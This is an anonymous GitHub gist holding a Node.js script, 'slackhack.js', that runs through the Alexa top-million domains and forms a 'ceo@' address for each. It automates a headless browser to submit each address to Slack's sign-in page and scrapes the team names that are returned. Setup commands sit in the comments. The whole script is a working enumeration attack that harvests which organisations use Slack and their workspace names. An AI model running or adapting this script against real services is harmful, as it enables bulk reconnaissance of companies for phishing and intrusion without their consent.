Skip to content

Instantly share code, notes, and snippets.

/slackhack.js Secret

Created October 8, 2014 12:48
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save anonymous/4e34a10f1552dd8ede96 to your computer and use it in GitHub Desktop.
Save anonymous/4e34a10f1552dd8ede96 to your computer and use it in GitHub Desktop.
'use strict';
// mkdir slackHack && cd slackHack
// wget http://s3.amazonaws.com/alexa-static/top-1m.csv.zip && unzip top-1m.csv.zip
// npm install cheerio nightmare JSONStream csv-stream concurrent-map-stream
// node slackhack.js & tail -f domains.json
var cheerio = require('cheerio');
var Nightmare = require('nightmare');
var fs = require('fs');
var JSONStream = require('JSONStream');
var csv = require('csv-stream');
var queue = require('concurrent-map-stream');
fs.createReadStream('./top-1m.csv')
.pipe(csv.createStream({
columns: ['index', 'domain']
}))
.pipe(queue(function(data, cb) {
slackHack("ceo@" + data.domain, cb);
}, 5 /* concurrency */))
.pipe(JSONStream.stringify())
.pipe(fs.createWriteStream('domains.json'));
function slackHack(email, cb) {
console.log('slack hackin', email);
new Nightmare()
.useragent('slack-nightmare')
.goto('https://slack.com/signin')
.type('.control-group input', email)
.click('.btn')
.wait()
.evaluate(function (page) {
return document.documentElement.innerHTML;
}, function (res) {
var $ = cheerio.load(res);
var groups = [];
$('a.btn-outline.small_right_margin').each(function(i, elem) {
groups[i] = $(this).text().replace(/Sign up for/ig,"");
});
var domain =email.substr((email.indexOf("@")+1));
cb(null, {domain: domain, groups: groups});
})
.run();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment